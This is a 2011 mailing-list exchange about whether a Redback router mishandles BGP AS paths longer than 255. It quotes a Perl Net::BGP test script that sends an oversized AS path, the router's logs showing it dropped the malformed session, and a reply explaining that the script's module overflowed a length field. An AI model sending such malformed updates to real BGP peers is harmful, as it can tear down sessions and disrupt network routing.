[rbak-nsp] New old BGP issue.
Jeff Tantsura
jeff.nsp at gmail.com
Sat Dec 3 19:56:37 EST 2011
Pawel,
That's a different error.
The PERL module has a bug.
It has an aspath segment of length 0.
The path segment length field is one byte and it attempted to put 256 ASNs into a single path segment.
The length field overflowed.
The aspath really is malformed.
You might want to capture the update and analyze it.
Please try a real router...
In general - before accusing anyone of misbehaving - have a solid prove that this is really the case.
Cheers,
Jeff
On Dec 2, 2011, at 10:44 PM, Pawel Jarosz wrote:
> On Fri, 2 Dec 2011, Jeff Tantsura wrote:
>
>> Hi Pawel,
>>
>> SEOS has been treating this condition (AS path longer than 255) as withdraw
>> since 2003.
>> Could you please provide access to the PoC?
>>
>> Thanks!
> Hi Jeff,
> its' simple perl Net::BGP based script,
> first install Net::BGP from CPAN.
> Set up simple BGP session 9prefered in separate context),
> in my environment between 10.0.0.1 (bgpd) and 10.0.0.1 (redback)
> This behavior was analysed, such situation happened in 2008, and
> same packets were generated form quagga.
>
> Redback:
>
> router bgp 65530
> address-family ipv4 unicast
> !
> neighbor 10.0.0.2 external
> remote-as 65531
> address-family ipv4 unicast
>
> Perl:
> ------------------------------------ #!/usr/bin/perl
> #BGP Test daemon by Pawel Jarosz <pj at hostersi.pl>
>
> use Net::BGP::Peer;
> use Net::BGP::Update;
> use Net::BGP::ASPath;
> use Net::BGP::Process;
>
> #Connect parameters
> $LOCAL='10.11.0.254';
> $LOCAL_AS=65531;
> $REMOTE='10.0.0.1';
> $REMOTE_AS='65530';
>
> $peer = Net::BGP::Peer->new(
> Start => 1,
> ThisID => $LOCAL,
> ThisAS => $LOCAL_AS,
> PeerID => $REMOTE,
> PeerAS => $REMOTE_AS,
> Listen => 0,
> Passive => 0,
> );
>
> sub sec_update_timer {
> $update = Net::BGP::Update->new(
> NLRI => [ qw( 1.1.1.1/24 ) ],
> # For Net::BGP::NLRI
> Aggregator => [ $LOCAL_AS, $LOCAL ],
> #Oversized as-path goes here...
> AsPath => Net::BGP::ASPath->new("$LOCAL_AS "x256),
> AtomicAggregate => 1,
> # Communities => [ qw( 64512:10000 64512:10001 ) ],
> # LocalPref => 100,
> # MED => 200,
> NextHop => $LOCAL,
> Origin => INCOMPLETE,
> );
> $peer=shift;
> $estab = $peer->is_established();
> print "Established: $estab\n";
> if (!$estab) {
> $peer->start();
> return;
> }
> print "Sending update...\n";
> $peer->update($update);
> }
>
> $bgp = Net::BGP::Process->new();
>
> $bgp->add_peer($peer);
> $peer->start();
> $peer->add_timer(\&sec_update_timer, 5);
>
> print "Starting loop...\n";
> $bgp->event_loop();
> print "Done...\n";
> -------------------------------------------------
>
> Start the script.
>
> In my logs:
>
> Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.239: [0001]: %BGP-7-UPDATE: 10.0.0.2 rcv UPDATE, 549 bytes
> Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.239: [0001]: %BGP-7-UPDATE: 10.0.0.2 rcv invalid as path segment length 0
> Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.239: [0001]: %BGP-7-UPDATE: 10.0.0.2 malformed aspath, 514 bytes - aspath dump
> Dec 2 11:21:48 10.0.0.1
> Dec 2 11:21:48 10.0.0.1 0 02 00 ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 16 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 32 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 48 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 64 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 80 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 96 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 112 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 128 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 144 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 160 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 176 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 192 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 208 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 224 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 240 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 256 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 272 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 288 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 304 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 320 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 336 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 352 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 368 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 384 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 400 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 416 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 432 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 448 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 464 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 480 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 496 ff fb ff fb ff fb ff fb ff fb ff fb ff fb ff fb
> Dec 2 11:21:48 10.0.0.1 512 ff fb
> Dec 2 11:21:48 10.0.0.1
> Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.240: [0001]: %BGP-6-INFO: 10.0.0.2 DOWN - Notification sent
> Dec 2 11:21:48 10.0.0.1 Dec 2 10:21:48.240: [0001]: %BGP-6-INFO: 10.0.0.2 send NOTIFICATION: 3/11 (update: malformed ASPATH) with 518 byte data. mxReadMs=5016
>
> Regards,
> Pawel
>
> --
> Pawel Jarosz (PJ2179-RIPE)
> Hostersi, Rybnik, Dworek 23, tel. 0 801 000 601
> e-mail: pj at hostersi.pl, http://www.hostersi.pl/
>
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